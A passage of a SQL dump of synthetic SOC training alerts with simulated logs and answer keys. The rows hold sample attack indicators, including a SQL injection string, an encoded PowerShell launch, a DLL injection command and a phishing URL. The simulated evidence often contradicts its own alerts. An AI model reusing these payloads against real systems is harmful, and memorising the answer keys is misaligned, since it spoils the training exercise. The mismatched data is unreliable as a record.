'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1392, 'SQL Injection Attempt on Internal Web Server', 'high', 'Wazuh', 'An SQL injection attempt was detected targeting the internal web server.', 'Web Attack', 'T1190', 0, 'investigating', 56, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.5.20\",\"username\":\"webuser\",\"hostname\":\"WEB-SERVER01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-02 03:09:19', '2026-03-03 15:52:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.5.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload and external IP confirm a true positive SQL injection attempt.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1393, 'Suspicious Command Execution on Workstation', 'medium', 'Elastic SIEM', 'A suspicious command was executed on a user workstation, potentially indicating malicious activity.', 'Command Execution', 'T1059', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T15:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.6.15\",\"dst_ip\":\"\",\"username\":\"klee\",\"hostname\":\"WORKSTATION03\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\"}', '2026-03-02 03:09:19', '2026-03-09 02:43:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common administrative command\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.6.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"klee\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"command_execution\",\"analysis_notes\":\"The command executed is a common administrative task, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1394, 'Failed Remote Desktop Login Attempts', 'low', 'Azure Sentinel', 'Multiple failed remote desktop login attempts from an external IP with no known malicious activity.', 'Brute Force', 'T1110', 0, 'investigating', 258, '{\"timestamp\":\"2026-03-02T16:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"192.168.7.30\",\"username\":\"administrator\",\"hostname\":\"SERVER02\",\"failed_attempts\":8}', '2026-03-02 03:09:19', '2026-03-06 15:22:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this IP\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.7.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is not associated with malicious activity, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:54:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:53:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:52:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:51:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1395, 'Ransomware Detected: LockBit 3.0 Process Injection on EHR Server', 'critical', 'CrowdStrike', 'LockBit 3.0 ransomware detected via process injection technique on the Electronic Health Records (EHR) server, targeting sensitive patient data.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.50.2\",\"username\":\"ehr_admin\",\"hostname\":\"EHR-SERVER01\",\"command_line\":\"rundll32.exe inject.dll,EntryPoint\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 347 times for ransomware activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal EHR server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rundll32.exe inject.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Identified as LockBit 3.0 ransomware process injection\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Confirmed process injection and malicious IP linked to LockBit 3.0 ransomware.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1396, 'Phishing Attempt: Malicious URL in Email', 'high', 'Proofpoint', 'Phishing email received with a malicious URL targeting healthcare professionals to steal credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"204.0.114.55\",\"dst_ip\":\"192.168.1.25\",\"username\":\"john.doe@hospital.org\",\"hostname\":\"MAIL-SERVER01\",\"email_sender\":\"support@fakesupport.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"204.0.114.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"support@fakesupport.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email domain known for phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing landing page\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Phishing email with malicious URL confirmed; sender and URL flagged in multiple databases.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt: Malicious URL in Email\",\"date\":\"2026-03-02T13:55:06.933Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1397, 'Suspicious Internal Network Traffic', 'medium', 'Sysmon', 'Detected unusual internal network traffic suggesting potential lateral movement using PsExec.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.15\",\"username\":\"network_admin\",\"hostname\":\"ADMIN-PC01\",\"command_line\":\"PsExec.exe \\\\\\\\192.168.2.15 -u admin -p password\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal admin workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\192.168.2.15 -u admin -p password\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate use of PsExec for system management\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Traffic resulted from legitimate administrative tasks; no indicators of compromise.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1398, 'Unauthorized Access to AWS S3 Bucket Detected', 'high', 'AWS GuardDuty', 'A foreign IP address was detected attempting to access an unsecured S3 bucket containing sensitive healthcare data. This activity may indicate a data exfiltration attempt.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:05:23Z\",\"event_type\":\"web_request\",\"src_ip\":\"54.172.98.101\",\"dst_ip\":\"192.168.1.25\",\"username\":\"john.doe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-bucket/records\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"54.172.98.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Potential data exfiltration vector\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The foreign IP attempting to access sensitive data without authorization suggests a data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, 